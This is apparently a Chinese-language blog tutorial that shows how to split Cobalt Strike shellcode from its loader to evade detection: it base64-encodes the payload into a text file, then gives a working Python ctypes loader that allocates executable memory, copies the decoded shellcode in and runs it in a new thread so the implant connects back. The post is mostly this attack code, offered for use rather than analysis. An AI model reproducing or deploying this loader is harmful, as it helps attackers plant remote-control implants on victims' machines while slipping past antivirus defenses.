无文件落地&分离拆分-将shellcode从文本中提取-file

马子分为shellcode和执行代码.

--将shellcode单独拿出,放在txt中---等待被读取执行

1-cs生成python的payload.

2-将shellcode进行base64编码

python 复制代码
import base64

code = b'         '

en_code = base64.b64encode(code)
print(en_code)

3-将编码后的shellcode放入文件内

4-读取shellcode--执行--上线

python 复制代码
import ctypes
import base64

with open('s.txt','r') as f:
    s=f.read()

shellcode=base64.b64decode(s)

ctypes.windll.kernel32.VirtualAlloc.restype=ctypes.c_uint64
rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode), 0x1000, 0x40)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(rwxpage), ctypes.create_string_buffer(shellcode), len(shellcode))
handle = ctypes.windll.kernel32.CreateThread(0, 0, ctypes.c_uint64(rwxpage), 0, 0, 0)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)
相关推荐
小小工匠3 分钟前
加密与安全_HOTP一次性密码生成算法
算法·安全·htop·一次性密码
Tandy12356_4 分钟前
js逆向——webpack实战案例(一)
前端·javascript·安全·webpack
什么鬼昵称2 小时前
Pikachu-xxe-xxe漏洞
网络·安全·xxe
A 八方4 小时前
【漏洞复现】泛微OA E-Office do_excel.php 任意文件写入漏洞
开发语言·安全·php
x-cmd5 小时前
[241005] 14 款最佳免费开源图像处理库 | PostgreSQL 17 正式发布
数据库·图像处理·sql·安全·postgresql·开源·json
huaqianzkh6 小时前
付费计量系统通用功能(13)
网络·安全·架构
你怎么睡得着的!12 小时前
【web安全】——XSS漏洞
安全·web安全·xss